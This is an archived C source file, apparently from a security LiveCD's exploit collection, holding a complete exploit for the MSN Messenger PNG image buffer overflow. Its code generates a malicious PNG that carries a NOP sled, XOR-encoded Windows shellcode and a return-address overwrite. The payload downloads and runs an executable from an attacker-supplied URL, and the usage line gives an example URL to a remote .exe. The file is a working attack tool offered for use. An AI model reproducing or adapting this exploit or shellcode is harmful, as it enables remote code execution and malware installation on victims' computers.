home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / messenger / 20050209.MS05009.c < prev    next >
C/C++ Source or Header  |  2005-03-04  |  5KB  |  161 lines

  1. /*
  2. *
  3. * Remember g++ k /str0ke
  4. *
  5. */
  6.  
  7. /*
  8. *
  9. * MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
  10. * Bug discoveried by Core Security Technologies  (www.coresecurity.com)
  11. * Exploit coded By ATmaCA
  12. * Copyright ┬⌐2002-2005 AtmacaSoft Inc. All Rights Reserved.
  13. * Web: http://www.atmacasoft.com
  14. * E-Mail: atmaca@icqmail.com
  15. * Credit to kozan and delikon
  16. * Now compiles under Linux thanks to dgr
  17. * Usage:exploit <OutputPath> <Url>
  18. *
  19. */
  20.  
  21. /*
  22. *
  23. * Tested with MSN Messenger 6.2.0137
  24. * This vulnerability can be exploited on Windows 2000 (all service packs)
  25. * and Windows XP (all service packs) that run vulnerable
  26. * clients of MSN Messenger.
  27. *
  28. */
  29.  
  30. /*
  31. *
  32. * After creating vuln png image, open
  33. * MSN Messenger and select it as your display picture in
  34. * "Tools->Change Display Picture".
  35. *
  36. */
  37.  
  38. #include <stdio.h>
  39. #include <stdlib.h>
  40. #include <string.h>
  41.  
  42.  
  43. #ifdef __BORLANDC__
  44.          #include <mem.h>
  45.          #include <conio.h>
  46. #endif
  47.  
  48. #define NOP 0x90
  49.  
  50. char png_header[] =
  51. "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
  52. "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
  53. "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";
  54.  
  55. char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";
  56.  
  57. /* Generic win32 http download shellcode
  58.    xored with 0x1d by delikon (http://delikon.de/) */
  59. char shellcode[] = "\xEB"
  60. "\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
  61. "\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
  62. "\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
  63. "\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
  64. "\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
  65. "\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
  66. "\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
  67. "\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
  68. "\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
  69. "\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
  70. "\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
  71. "\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
  72. "\x78\x65\x78\x1D";
  73.  
  74. FILE           *di;
  75. int            i = 0;
  76. short int      weblength;
  77. char           *web;
  78. char           *pointer = NULL;
  79. char           *newshellcode;
  80.  
  81. /*xor cryptor*/
  82. char *Sifrele(char *Name1)
  83. {
  84.         char *Name=Name1;
  85.         char xor=0x1d;
  86.         int Size=strlen(Name);
  87.         for(i=0;i<Size;i++)
  88.                 Name[i]=Name[i]^xor;
  89.         return Name;
  90. }
  91.  
  92.  
  93. int main(int argc, char *argv[])
  94. {
  95.  
  96.         if (argc < 3)
  97.         {
  98.                 printf("MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit\n");
  99.                 printf("Bug discoveried by Core Security Technologies  (www.coresecurity.com)\n");
  100.                 printf("Exploit coded By ATmaCA\n");
  101.                 printf("Copyright ┬⌐2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
  102.                 printf("Web: http://www.atmacasoft.com\n");
  103.                 printf("E-Mail: atmaca@icqmail.com\n");
  104.                 printf("Credit to kozan and delikon\n\n");
  105.                 printf("\tUsage:exploit <OutputPath> <Url>\n");
  106.                 printf("\tExample:exploit vuln.png http://www.atmacasoft.com/exp/msg.exe\n");
  107.  
  108.                 return 0;
  109.         }
  110.  
  111.  
  112.     web = argv[2];
  113.  
  114.  
  115.         if( (di=fopen(argv[1],"wb")) == NULL )
  116.         {
  117.                 printf("Error opening file!\n");
  118.                 return 0;
  119.         }
  120.         for(i=0;i<sizeof(png_header)-1;i++)
  121.                 fputc(png_header[i],di);
  122.  
  123.         /*stuff in a couple of NOPs*/
  124.         for(i=0;i<99;i++)
  125.                 fputc(NOP,di);
  126.  
  127.         weblength=(short int)0xff22;
  128.         pointer=strstr(shellcode,"\x22\xff");
  129.     weblength-=strlen(web)+1;
  130.         memcpy(pointer,&weblength,2);
  131.         newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
  132.         strcpy(newshellcode,shellcode);
  133.         strcat(newshellcode,Sifrele(web));
  134.         strcat(newshellcode,"\x1d");
  135.  
  136.         //shell code
  137.         for(i=0;i<strlen(newshellcode);i++)
  138.                 fputc(newshellcode[i],di);
  139.  
  140.  
  141.         for(i=0;i<(83-strlen(web));i++) //NOPs
  142.                 fputc(NOP,di);
  143.  
  144.     /*Overwriting the return address (EIP)*/
  145.         /*0x005E0547 - ret */
  146.         fputc(0x47,di);
  147.         fputc(0x05,di);
  148.         fputc(0x5e,di);
  149.         fputc(0x00,di);
  150.  
  151.         for(i=0;i<sizeof(pngeof)-1;i++)
  152.                 fputc(pngeof[i],di);
  153.  
  154.         printf("Vulnarable png file %s has been generated!\n",argv[1]);
  155.  
  156.         fclose(di);
  157.  
  158.     return 1;
  159. }
  160.  
  161.